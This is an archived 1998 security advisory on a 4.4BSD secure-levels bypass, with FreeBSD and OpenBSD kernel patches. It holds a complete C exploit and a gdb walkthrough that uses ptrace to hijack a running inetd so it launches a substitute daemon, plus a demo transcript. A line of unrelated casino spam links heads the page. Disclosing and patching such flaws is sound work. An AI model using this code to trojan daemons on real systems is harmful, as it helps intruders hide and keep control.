Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
16th Jun 1998 [SBWID-205]
COMMAND
	    secure levels
SYSTEMS AFFECTED
	    4.4BSD Secure Levels Implementation (BSD/OS, FreeBSD, NetBSD, OpenBSD)
PROBLEM
	    Niall Smart  found following.   4.4BSD introduced  the concept  of
	    "secure  levels"   which  are   intended  to   allow  the   system
	    administrator  to  protect  the  kernel  and  system  files   from
	    modification by intruders.  When  the system is running in  secure
	    mode file  flags can  be used  to indicate  that anyone,  even the
	    superuser,  should  be  prevented  from  deleting or modifying the
	    file, or that  write access should  be restricted to  append-only.
	    In addition  device files  such as  /dev/kmem and  those for  disk
	    devices are only  available for read  access.  This  protection is
	    not intended to prevent system compromise, but instead is a damage
	    limitation measure -- by preventing intruders who have compromised
	    the root account from deleting  logs of the intrusion or  planting
	    "trojan horses" their ability to hide their presence on the system
	    or  covertly   gather  sensitive   information  is   reduced.    A
	    vulnerability has been  discovered in all  current implementations
	    of secure  levels which  allow an  intruder to  modify the  memory
	    image  of  running  processes,  thereby  bypassing  the protection
	    applied to  system binaries  and their  configuration files.   The
	    vulnerability  cannot  be  exploited  to  modify the init process,
	    kernel memory or the protected files themselves.
	    The ptrace(2) system call can  be used to modify the  memory image
	    of another process.  It  is typically used by debuggers  and other
	    similar utilities.  Due to inadequate checking, it is possible  to
	    use ptrace(2) to modify the  memory image of processes which  have
	    been loaded from  a file which  has the immutable  flags set.   As
	    mentioned,  this  does  not  apply  to  the  init  process.   This
	    vulnerability  is  significant  in  that  it allows an intruder to
	    covertly modify running  processes.  The  correct behaviour is  to
	    make the address space of these processes immutable.  Although  an
	    intruder can still kill them and start others in their place,  the
	    death of  system daemons  will (should)  draw attention  on secure
	    systems.  Here comes the exploit.
	    There are  a variety  of daemons  which an  intruder would wish to
	    trojan, inetd being  one of the  most obvious.   Once the intruder
	    controls inetd, any network  logins handled by daemons  started by
	    inetd are  completely under  the control  of the  intruder.  Other
	    important daemons which  are likely to  be attacked include  sshd,
	    crond, syslogd, and getty.  Here's present sample code which shows
	    how to use ptrace(2) to attach to and control a running inetd  and
	    so  that  it  starts  daemons  which  we  choose  instead of those
	    specified in inetd.conf.  For the sake of explanation we will  use
	    the FreeBSD version of inetd compiled with debugging symbols.   If
	    you look at the inetd source you will see that it uses an array of
	    struct  servtab  which  represents   the  services  specified   in
	    inetd.conf.  The se_server member of struct servtab specifies  the
	    path to the server which  handles requests for the service.   When
	    inetd accepts  a new  connection it  searches this  array for  the
	    appropriate entry, stores a pointer  to the entry in the  variable
	    sep and then forks, the  child then fiddles with file  descriptors
	    and execs the server.   The fork happens on  line 490 of  inetd.c,
	    we insert  a breakpoint  at this  instruction and  when we  hit it
	    modify  the  se_server  member  of  the  struct  servtab which sep
	    points to.   We then insert  another breakpoint later  in the code
	    which only the parent process  will execute and continue, when  we
	    hit that breakpoint we change  the se_server back to what  it was.
	    Meanwhile,  the  child  process  continues  and  executes whatever
	    server we have told it to.
	
	        # gdb --quiet ./inetd
	        (gdb) list 489,491
	        489                                 }
	        490                                 pid = fork();
	        491                         }
	        (gdb) break 490
	        Breakpoint 2 at 0x1f76: file inetd.c, line 490.
	        (gdb) p &sep
	        Address requested for identifier "sep" which is in a register.
	        (gdb) p sep
	        $1 = (struct servtab *) 0x1
	        (gdb) info reg
	        eax            0x0      0
	        ecx            0xefbfda50       -272639408
	        edx            0x2008bf48       537444168
	        ebx            0xefbfda90       -272639344
	        esp            0xefbfd968       0xefbfd968
	        ebp            0xefbfda68       0xefbfda68
	        esi            0x1      1
	        edi            0x0      0
	        eip            0x1914   0x1914
	        eflags         0x246    582
	        cs             0x1f     31
	        ss             0x27     39
	        ds             0x27     39
	        es             0x27     39
	        (gdb)
	
	    So,  the  first  breakpoint  address  is  at  0x1F76,  and the sep
	    variable has been placed in the register %esi which makes  writing
	    the exploit  a bit  easier.   After the  fork we  want to stop the
	    parent  process  only,  inserting  a  breakpoint  at line 502 will
	    achieve that:
	
	        (gdb) list 501,503
	        501                         if (pid)
	        502                             addchild(sep, pid);
	        503                         sigsetmask(0L);
	        (gdb) break 502
	        Breakpoint 1 at 0x1fc8: file inetd.c, line 502.
	
	    Line 502 corresponds  to the instruction  at 0x1FC8.   Finally, we
	    will  need  some  unused  memory  to  write  in the string for our
	    replacement daemon,   for this  we can  simply overwrite  the code
	    that performs the option processing:
	
	        (gdb) break 325
	        Breakpoint 2 at 0x1a9a: file inetd.c, line 325.
	
	    We take  64 bytes  from 0x1A9A.   Here is  the exploit,  the first
	    three arguments specify the  first and second breakpoints  and the
	    address of the spare memory and  the last is the pid of  the inetd
	    to attach  to. [  Note to  script kiddies:  you need  root on  the
	    system first ]
	
	    #include <sys/types.h>
	    #include <sys/wait.h>
	    #include <sys/ptrace.h>
	    #include <machine/reg.h>
	    #include <stdio.h>
	    #include <stdlib.h>
	    #include <string.h>
	    #include <signal.h>
	    #include <errno.h>
	    #include <unistd.h>
	    #if defined(__FreeBSD__)
	    #define SE_SERVER_OFF 44
	    #elsif defined(__OpenBSD__)
	    #define SE_SERVER_OFF 48
	    #endif
	    #define INSN_TRAP       0xCC
	    #define ARRSIZE(x)      (sizeof(x) / sizeof((x)[0]))
	    #define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)
	    void sig_handler(int unused);
	    sig_atomic_t    finish = 0;
	    int             pid;
	    int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
	    {
	            int     ret = ptrace(req, pid, addr, data);
	            if (ret < 0 && errno != 0) {
	                    fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
	                    exit(EXIT_FAILURE);
	            }
	            /* this shouldn't be necessary */
	            #ifdef __FreeBSD__
	            if (req == PT_DETACH)
	                    kill(pid, SIGCONT);
	            #endif
	            return ret;
	    }
	    void
	    sig_handler(int unused)
	    {
	            /* we send the child a hopelessly harmful signal to break outselves
	             * out of ptrace */
	            finish = 1;
	            kill(pid, SIGINFO);
	    }
	    struct replace {
	            char*   old;
	            char*   new;
	    };
	    int
	    main(int argc, char** argv)
	    {
	            struct reg      regs;
	            int             insn;
	            int             svinsn;
	            caddr_t         breakaddr;
	            caddr_t         oldaddr;
	            caddr_t         spareaddr;
	            caddr_t         addr;
	            caddr_t         nextaddr;
	            caddr_t         contaddr;
	            char            buf[64];
	            char*           ptr;
	            struct replace* rep;
	            struct replace  replace[] = { { "/bin/cat",   "/bin/echo" } };
	            if (argc != 5) {
	                    fprintf(stderr, "usage: %s <breakaddr> <nextaddr> <spareaddr> <pid>\n", argv[0]);
	                    exit(EXIT_FAILURE);
	            }
	            breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
	            nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
	            spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
	            pid = atoi(argv[4]);
	            signal(SIGINT, sig_handler);
	            signal(SIGTERM, sig_handler);
	            signal(SIGQUIT, sig_handler);
	            /*
	             * attach her up
	             */
	            Ptrace(PT_ATTACH, pid, 0, 0);
	            wait(0);
	            Ptrace(PT_GETREGS, pid, ®s, 0);
	            printf("%%esp = %#x\n", regs.r_esp);
	            printf("%%ebp = %#x\n", regs.r_ebp);
	            printf("%%eip = %#x\n", regs.r_eip);
	            contaddr = (caddr_t) 1;
	            while (1) {
	                    /*
	                     * replace the lowest byte of the dw at the specified address
	                     * with a breakpoint insn
	                     */
	                    svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
	                    insn = (svinsn & ~0xFF) | INSN_TRAP;
	                    Ptrace(PT_WRITE_D, pid, breakaddr, insn);
	                    printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);
	                    /* continue till we hit the breakpoint */
	                    Ptrace(PT_CONTINUE, pid, contaddr, 0);
	                    do {
	                            /* FreeBSD reports signals twice, it shouldn't do that */
	                            int             sig;
	                            int             status;
	                            wait(&status);
	                            sig = WSTOPSIG(status);
	                            printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);
	                            if (finish)
	                                    goto detach;
	                            if (sig == SIGTRAP)
	                                    break;
	                            Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));
	                    } while(1);
	                    Ptrace(PT_GETREGS, pid, ®s, 0);
	                    printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);
	                    /* copy out the pathname of the daemon it's trying to run */
	                    oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);
	                    for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
	                            *(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);
	                    printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);
	                    /* check if we want to substitute our own */
	                    for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
	                            if (!strcmp(rep->old, buf)) {
	                                    printf("%s ==> %s\n", rep->old, rep->new);
	                                    break;
	                            }
	                    /* copy the substitute pathname to some unused location */
	                    if (rep != 0) {
	                            strcpy(buf, rep->new);
	                            for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
	                                    Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);
	                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
	                    }
	                    /*
	                     * replace the original instruction, set a breakpoint on the next
	                     * instruction we want to break in and then reset the daemon path,
	                     * and remove the last breakpoint.  We could just single step over
	                     * the for syscall but all the crap involved in calling a fn in a
	                     * dll makes it easier to just to set a breakpoint on the next
	                     * instruction and wait till we hit that
	                     */
	                    Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
	                    svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
	                    insn = (svinsn & ~0xFF) | INSN_TRAP;
	                    Ptrace(PT_WRITE_D, pid, nextaddr, insn);
	                    Ptrace(PT_CONTINUE, pid, breakaddr, 0);
	                    wait(0);
	                    Ptrace(PT_GETREGS, pid, ®s, 0);
	                    printf("stepped instruction to %#x\n", regs.r_eip);
	                    Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
	                    contaddr = nextaddr;
	                    /* put back the original path */
	                    if (rep != 0)
	                            Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);
	            }
	    detach:
	            printf("detaching\n");
	            Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
	            Ptrace(PT_DETACH, pid, 1, 0);
	            return 0;
	    }
	
	    So, lets try it out:
	
	        # cat inetd.conf
	        afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
	        # telnet localhost 7000
	        Trying 127.0.0.1...
	        Connected to localhost
	        Escape character is '^]'.
	        afs3-fileserver stream  tcp     nowait  root   /bin/cat cat /root/inetd.conf
	        Connection closed by foreign host.
	        # ps -aux | grep inetd
	        root    1233  0.0  0.9   204  556  ??  SXs  11:41AM    0:00.02 ./inetd /root/inetd.conf
	        # ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
	        [1] 1267
	        # telnet localhost 7000
	        Trying 127.0.0.1...
	        Connected to localhost
	        Escape character is '^]'.
	        /root/inetd.conf
	        Connection closed by foreign host.
	        #
	
SOLUTION
	    OpenBSD  patched  this  problem.   The  following patches apply to
	    FreeBSD-current  and  will  apply  to  FreeBSD-stable  with   some
	    tweaking of the line numbers.
	
	    --- kern/sys_process.c  Mon Jun  8 11:47:03 1998
	    +++ kern/sys_process.c  Mon Jun  8 11:49:53 1998
	    @@ -37,6 +37,7 @@
	     #include <sys/proc.h>
	     #include <sys/vnode.h>
	     #include <sys/ptrace.h>
	    +#include <sys/stat.h>
	     #include <machine/reg.h>
	     #include <vm/vm.h>
	    @@ -208,6 +209,7 @@
	            struct proc *p;
	            struct iovec iov;
	            struct uio uio;
	    +       struct vattr va;
	            int error = 0;
	            int write;
	            int s;
	    @@ -246,6 +248,11 @@
	                    /* can't trace init when securelevel > 0 */
	                    if (securelevel > 0 && p->p_pid == 1)
	                            return EPERM;
	    +
	    +               if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
	    +                       return(error);
	    +               if(va.va_flags & (IMMUTABLE|NOUNLINK))
	    +                       return(EPERM);
	                    /* OK */
	                    break;
	    --- kern/kern_exec.c    Sun Jun  7 17:23:14 1998
	    +++ kern/kern_exec.c    Tue Jun  9 14:08:10 1998
	    @@ -655,6 +655,8 @@
	            error = VOP_GETATTR(vp, attr, p->p_ucred, p);
	            if (error)
	                    return (error);
	    +       if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
	    +               return (EACCES);
	            /*
	             * 1) Check if file execution is disabled for the filesystem that this
	    --- miscfs/procfs/procfs_vnops.c        Tue May 19 09:15:00 1998
	    +++ miscfs/procfs/procfs_vnops.c        Wed Jun 10 16:23:33 1998
	    @@ -129,6 +129,8 @@
	     {
	            struct pfsnode *pfs = VTOPFS(ap->a_vp);
	            struct proc *p1, *p2;
	    +       int error;
	    +       struct vattr va;
	            p2 = PFIND(pfs->pfs_pid);
	            if (p2 == NULL)
	    @@ -144,6 +146,12 @@
	                    if (!CHECKIO(p1, p2) &&
	                        !procfs_kmemaccess(p1))
	                            return (EPERM);
	    +
	    +               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
	    +               if(error)
	    +                       return(error);
	    +               if(va.va_flags & IMMUTABLE)
	    +                       return(EPERM);
	                    if (ap->a_mode & FWRITE)
	                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
	
	    Darren Reed posted  his patch.   Rather than block  out all ptrace
	    access to processes, maybe it  is more appropriate to protect  all
	    processes on  a system  where securelevel  > 0  - irrespective  of
	    whether or  not it's  init or  immutable -  from operations  which
	    could `change' it if it is an immutable executeable.  Below is his
	    "better" patch  - allows  ptrace to  be used  in read-only mode on
	    immutable processes (or  init) where the  system is running  where
	    securelevel > 0.
	
	    *** sys_process.c.orig  Sun Jun 14 01:17:14 1998
	    --- sys_process.c       Sun Jun 14 01:39:15 1998
	    ***************
	    *** 37,42 ****
	    --- 37,43 ----
	      #include <sys/proc.h>
	      #include <sys/vnode.h>
	      #include <sys/ptrace.h>
	    + #include <sys/stat.h>
	      #include <sys/errno.h>
	      #include <sys/queue.h>
	    ***************
	    *** 243,248 ****
	    --- 244,253 ----
	                    if (p->p_flag & P_TRACED)
	                            return EBUSY;
	    +               /* Tracing a system process doesn't work anyway */
	    +               if (p->p_flag & P_SYSTEM)
	    +                       return EINVAL;
	    +
	                    /* not owned by you, has done setuid (unless you're root) */
	                    if ((p->p_cred->p_ruid != curp->p_cred->p_ruid) ||
	                         (p->p_flag & P_SUGID)) {
	    ***************
	    *** 250,268 ****
	                                    return error;
	                    }
	    -               /* can't trace init when securelevel > 0 */
	    -               if (securelevel > 0 && p->p_pid == 1)
	    -                       return EPERM;
	    -
	                    /* OK */
	                    break;
	    -       case PT_READ_I:
	    -       case PT_READ_D:
	    -       case PT_READ_U:
	            case PT_WRITE_I:
	            case PT_WRITE_D:
	            case PT_WRITE_U:
	            case PT_CONTINUE:
	            case PT_KILL:
	            case PT_STEP:
	    --- 255,284 ----
	                                    return error;
	                    }
	                    /* OK */
	                    break;
	            case PT_WRITE_I:
	            case PT_WRITE_D:
	            case PT_WRITE_U:
	    + #ifdef PT_SETREGS
	    +       case PT_SETREGS:
	    + #endif
	    + #ifdef PT_SETFPREGS
	    +       case PT_SETFPREGS:
	    + #endif
	    +               if ((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
	    +                       return error;
	    +               /*
	    +                * disallow changes to immutable executeables running in a
	    +                * `secure' kernel environment.
	    +                */
	    +               if ((securelevel > 0) &&
	    +                   ((va.va_flags & (IMMUTABLE|NOUNLINK)) || (p->p_pid == 1)))
	    +                       return EPERM;
	    +       case PT_READ_I:
	    +       case PT_READ_D:
	    +       case PT_READ_U:
	            case PT_CONTINUE:
	            case PT_KILL:
	            case PT_STEP:
	    ***************
	    *** 270,283 ****
	      #ifdef PT_GETREGS
	            case PT_GETREGS:
	      #endif
	    - #ifdef PT_SETREGS
	    -       case PT_SETREGS:
	    - #endif
	      #ifdef PT_GETFPREGS
	            case PT_GETFPREGS:
	    - #endif
	    - #ifdef PT_SETFPREGS
	    -       case PT_SETFPREGS:
	      #endif
	                    /* not being traced... */
	                    if ((p->p_flag & P_TRACED) == 0)
	    --- 286,293 ----
	    *** procfs_vnops.c.orig Sun Jun 14 01:25:29 1998
	    --- procfs_vnops.c      Sun Jun 14 01:27:54 1998
	    ***************
	    *** 121,126 ****
	    --- 121,128 ----
	      {
	            struct pfsnode *pfs = VTOPFS(ap->a_vp);
	            struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
	    +       int error;
	    +       struct vattr va;
	            if (p2 == NULL)
	                    return ENOENT;
	    ***************
	    *** 135,144 ****
	                        (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
	                            return EPERM;
	    !
	    !               if (ap->a_mode & FWRITE)
	                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
	    !
	                    return (0);
	            default:
	    --- 137,150 ----
	                        (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
	                            return EPERM;
	    !               error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
	    !               if (error)
	    !                       return error;
	    !               if (ap->a_mode & FWRITE) {
	    !                       if (va.va_flags & IMMUTABLE)
	    !                               return EPERM;
	                            pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
	    !               }
	                    return (0);
	            default:
	
	

Internet highlights